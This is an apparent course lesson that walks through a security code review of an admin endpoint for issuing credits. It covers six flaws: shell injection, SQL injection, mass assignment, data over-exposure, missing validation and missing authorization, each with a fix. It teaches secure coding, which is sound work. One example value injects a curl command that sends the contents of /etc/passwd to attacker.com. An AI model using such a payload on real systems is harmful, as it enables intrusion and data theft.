A security code review walkthrough, applying this whole domain at once

A new internal endpoint, for an admin tool that lets support staff issue account credits:

note is interpolated directly into a shell command with shell=True. A note value of "; curl attacker.com/exfil?data=$(cat /etc/passwd) #" runs arbitrary shell commands with the application's own privileges. Fix: subprocess.run(["logger", note], shell=False), or write directly to a log file using the application's own logging library instead of shelling out to echo at all.

amount and user_id are interpolated directly into a raw SQL string, not parameterized — the exact mechanism Web Security's own SQL-injection lesson covered, reappearing in a new endpoint months after that lesson's specific examples. Fix: a parameterized query, db.execute("UPDATE accounts SET balance = balance + %s WHERE user_id = %s", (amount, user_id)).

This binds every field in the request body directly onto the user model — including, potentially, is_admin, role, or any other field that should never be client-writable, exactly lesson 3's mass-assignment pattern. Fix: an explicit allowlist of fields this endpoint is actually meant to update (in this case, arguably none on the user object at all — the endpoint's real job is adjusting balance, not modifying arbitrary user fields).

jsonify(user.__dict__) returns the entire internal user model, including fields like a password hash or internal notes that a credit-issuing endpoint's response was never meant to expose. Fix: an explicit, minimal response schema — {"user_id": user.id, "new_balance": user.balance} — listing exactly what this endpoint is meant to return.

Nothing here validates that amount is actually reasonable — not negative (which would remove credit while calling itself an "issue-credit" endpoint) and not implausibly large. Every field is syntactically valid, so no automated scanner flags this; it requires actually understanding what the endpoint's business rule is supposed to be. Fix: explicit validation — amount must be positive and under some sane ceiling appropriate to what support staff are actually authorized to credit.

There's no check anywhere in this function that the caller is actually an authorized support staff member, as opposed to any authenticated user at all — this is Web Security's broken-access-control lesson and this domain's lesson 7 (least privilege) both converging on the same gap: an endpoint this powerful needs an explicit, specific permission check, not just @login_required.

None of these six findings required a novel insight — every one is a named pattern from somewhere earlier in this domain or in Web Security, recognized on sight the way Web Security's own field-reference lesson described. A real, useful security reviewer isn't someone who re-derives these mechanisms from scratch on every review; it's someone who's internalized this vocabulary well enough that a diff like this one reads as six familiar shapes, not six separate mysteries — which is exactly the cumulative, pattern-recognition payoff every individual lesson in this domain has been building toward.